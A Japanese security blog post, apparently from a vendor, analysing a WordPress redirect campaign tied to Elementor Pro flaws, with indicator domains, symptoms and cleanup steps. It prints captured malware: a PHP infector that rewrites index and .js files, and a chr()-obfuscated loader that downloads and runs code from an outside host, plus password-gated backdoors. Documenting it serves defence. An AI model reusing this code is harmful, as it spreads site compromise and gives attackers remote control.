WordPressサイトをDigestcolect.comへ強制リダイレクトする攻撃の全貌 ― Elementor Proの脆弱性との関連
ここ数ヶ月、WordPressのテーマやプラグインの脆弱性を狙った攻撃はますます激化しています。すでに進行中だったElementor Pro、Ultimate Addons for Elementor、Astraテーマに対する攻撃キャンペーンは新たな局面を迎え、訪問者を以下のような怪しいサイトへ強制的にリダイレクトするハックキャンペーンが確認されています。
- digestcolect [.] com
- js[.]donatelloflowfirstly.ga
- track[.]developfirstline[.]com/t.js?s=5
- deliverynotforme[.]best
- 0.beerockstars[.]ga/?p=me3gmnbugm5gi3bpgq3tknq&sub2=mtrolley83
- 0.directedmyfounds[.]ga/?p=gi3tazrwga5gi3bpgizdgmq&sub2=mstimens3
- well.linetoadsactive[.]com/m.js?n=nb5
- 0.realhelpcompany[.]ga
- fast.helpmart[.]ga/m[.]js?w=085
- dock.lovegreenpencils[.]ga/m.js?n=nb5
- cht.secondaryinformtrand[.]com/m.js?n=nb5
- main.travelfornamewalking[.]ga/
- irc.lovegreenpencils[.]ga/ など
ElementorとUltimate Addons for Elementorの両方で、これらのセキュリティ問題を修正したアップデートがすでに公開されています。まだ対応していない場合は、必ず以下のバージョン以降へ更新してください。
- Elementor Pro: 2.9.4 以降
- Ultimate Addons for Elementor: 1.24.2 以降
関連するハック事例: track.developfirstline[.com]/t.js?s=5′ type=’text/javascript へリダイレクトされるWordPressサイトも確認されています。
現時点で判明していること
被害を受けたサイトに共通して現れる最も分かりやすい症状は「意図しないリダイレクト」です。ただし、それ以外にも攻撃を示唆する兆候が複数あります。
- サイトのルートディレクトリに意味不明な(ギブリッシュ)ファイルが追加されている
- 許可なく作成された管理者ユーザーがWordPress管理画面に存在する
- /wp-content/uploads/elementor/custom-icons/ 内に不明なファイルやフォルダがある
- ルートディレクトリに
wp-xmlrpc.phpやwp-cl-plugin.phpといった見慣れないファイルが存在する - ファイルシステム全体に大量の不正なJavaScript・PHPファイルが撒き散らされている
悪質な「tap.digestcolect.com/r.php?id=0」リダイレクトコードの中身
- 「hjghjerg」という名前のファイルから、以下のコードが発見されました。
<?php $lastRunLog = "./debugs.log";
if (file_exists($lastRunLog)) {
$lastRun = file_get_contents($lastRunLog);
if (time() - $lastRun >= 6400) {
search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","index");
search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
file_put_contents($lastRunLog, time());
}
} else {
search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","index");
search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
file_put_contents( './debugs.log', time());
}
function search_file($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
@search_file( $dir,"index");
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file( $dir,"index");
return;
}
}
...
function search_file_js($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
@search_file_js( $dir,".js");
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file_js( $dir,".js");
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) {
make_it_js($path);
} }else if($value != "." && $value != "..") {
search_file_js($path, $file_to_search);
}
}
}
function make_it_js($f){
$g = file_get_contents($f);
if (strpos($g, 'var') !== false) {
$g = file_get_contents($f);
if (strpos($g, 'mndfhghjf') !== false) {
} else {
$l2 = "";
$g = file_get_contents($f);
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'mndfhghjf') !== false) {
}
}
}
}
function make_it($f){
$g = file_get_contents($f);
if (strpos($g, 'trackstatisticsss') !== false) {
} else {
$l2 = "";
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'trackstatisticsss') !== false) {
}
}
}
このコードは、サーバー上のすべてのindexファイルと.jsファイルを再帰的に検索し、権限を変更(chmod 777)したうえで悪質なスクリプトを書き込むものです。まさに大規模な感染拡大を目的としたマルウェアだと言えます。
- 次のコードは、header.phpファイル内から発見されました。
<?php $c = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99)."ode";
$d = chr(102).chr(105).chr(108)."e".chr(95)."get".chr(95)."con".chr(116).chr(101).chr(110).chr(116).chr(115);
$b = $c($d(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(99).chr(115).chr(115).chr(46).chr(100).chr(105).chr(103).chr(101).chr(115).chr(116).chr(99).chr(111).chr(108).chr(101).chr(99).chr(116).chr(46).chr(99).chr(111).chr(109).chr(47).chr(109).chr(46).chr(116).chr(120).chr(116)));
$c1 = chr(104);
@file_put_contents($c1,chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).$b);@include($c1);@unlink($c1); ?><?php if(isset($_REQUEST[chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)]) && md5($_REQUEST[chr(108).chr(103).chr(107).chr(102).chr(103).chr(104).chr(100).chr(102).chr(104)]) == chr(101).chr(57).chr(55).chr(56).chr(55).chr(97).chr(100).chr(99).chr(53).chr(50).chr(55).chr(49).chr(99).chr(98).chr(48).chr(102).chr(55).chr(54).chr(53).chr(50).chr(57).chr(52).chr(53).chr(48).chr(51).chr(100).
..
chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);$b1 = chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$b2 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).$b1; $z1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32); $z2 = $z1.$b2($_REQUEST[chr(100).chr(49)]); $z3 = $b2($_REQUEST[chr(100).chr(49)]); @$n3($a,$z2); @include($a);@unlink($a); $a = chr(47).chr(116).chr(109).chr(112).chr(47).$a; @$n3($a,$z2); @include($a);@unlink($a);die(); } ?><?php if(isset($_GET[5]) && md5($_GET[5]) == "37147ec1ab66861d6e2ef8f672cb2c0b") {function _1896550334($i){$a=Array("jweyc","aeskoly","owhggiku","callbrhy","H*","");return $a[$i];} function l__0($_0){return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0];if(3404<mt_rand(443,2956))session_get_cookie_params($_COOKIE,$_0,$_POST,$_0);}$_1=l__0(_1896550334(0)) .l__0(_1896550334(1)) .l__0(_1896550334(2)) .l__0(_1896550334(3));if(!empty($_1)){$_1=str_rot13(@pack(_1896550334(4),strrev($_1)));if(isset($_1)){$_2=create_function(_1896550334(5),$_1);$_2();exit();}}else{echo base64_decode("bG9jYWwtZXJyb3Itbm90LWZvdW5k");}die();} ?><script src='https://css.digestcolect.com/g.js?v=1.0.0' type='text/javascript'></script>?><script src='https://css.digestcolect.com/g.js?v=1.0.0' type='text/javascript'></script>
このコードは文字コード(chr関数)を駆使して関数名やURLを難読化しており、一見すると正規のコードにしか見えません。外部サーバーからマルウェア本体を取得して実行し、さらにバックドア機能も組み込まれている点が非常に危険です。
- さらに、一部のコアテーマファイルからも以下のコードが検出されました。
<script type='text/javascript' src='https://js.digestcolect.com/g.js?v=18'></script><script type='text/javascript' src='https://js.digestcolect.com/g.js?v=18'></script>
Digestcolect [.] comへのリダイレクトを解除する方法
もし自サイトがリダイレクトされたり、上記の症状が見られる場合は、以下の手順でインシデント対応を素早く進めましょう。
- ハッカーに狙われやすいファイルを最優先で確認: functions.php、wp-config.php、index.phpなどを最初にチェックします。
- コアファイルの比較: サーバー上のWordPressコアファイルを公式の配布物と照合し、改ざんされていないか確認します。
- オンラインマルウェアスキャンの実施: 信頼できるスキャナーでサイト全体を診断します。
- データベースの確認: 見覚えのない管理者アカウントやユーザーが登録されていないか調べます。
- ルートディレクトリの調査: 意味不明な名称のファイルが紛れ込んでいないかチェックします。
より徹底的にマルウェアを除去したい場合は、WordPressリダイレクト除去ガイドやステップバイステップのチュートリアルを参考に進めてください。
それでもリダイレクトが解消されない場合は、ハッカーがバックドアを仕込んでいる可能性が高いです。このケースでは、コードレビューを伴う詳細なマルウェアスキャンによる清掃作業が必要になります。
あわせて読みたい:ステップバイステップ式WordPressマルウェア除去ガイド
感染していないなら?今こそサイトを守ろう
今回の攻撃を免れたのは幸運です。しかし、運任せにするのは得策ではありません。Astra Securityのようなプレミアムファイアウォールを導入すれば、24時間365日の監視体制のもと、JSインジェクション、SQLi、CSRF、XSS、悪質ボット、RFI、LFIなど多種多様な攻撃からサイトを保護できます。
さらに、マルウェアスキャナー、国別アクセスブロック、IPブロックといった豊富なセキュリティツールが揃っているため、企業サイトでも個人ブログでも手軽に堅牢なセキュリティ体制を構築できます。
-
WordPressサイトをDigestcolect.comへ強制リダイレクトする攻撃の全貌 ― Elementor Proの脆弱性との関連
ここ数ヶ月、WordPressのテーマやプラグインの脆弱性を狙った攻撃はますます激化しています。すでに進行中だったElementor Pro、Ultimate Addons for Elementor、Astraテーマに対する攻撃キャンペーンは新たな局面を迎え、訪問者を以下のような怪しいサイトへ強制的にリダイレクトするハックキャンペーンが確認されています。 digestcolect [.] com js[.]donatelloflowfirstly.ga track[.]developfirstline[.]com/t.js?s=5 deliverynotforme[.]best 0.bee
-
Elementor Pro・Ultimate Add-onsが大規模攻撃の標的に――WordPressサイトは今すぐアップデートを
人気WordPressプラグイン「Elementor Pro」と「Ultimate Add-ons for Elementor」を狙った大規模な攻撃キャンペーンが確認されました。これらのプラグインがインストールされた100万以上のWordPressサイトが標的となっています。ゼロデイ脆弱性が発覚して以降、両プラグインの開発元は急遽対応に取りかかり、修正済みバージョンをリリースしました。 Elementor Pro: 2.9.4 Ultimate Add-ons for Elementor: 1.24.2 旧バージョンをご利用の場合は、必ず上記バージョンへアップデートしてください。 2020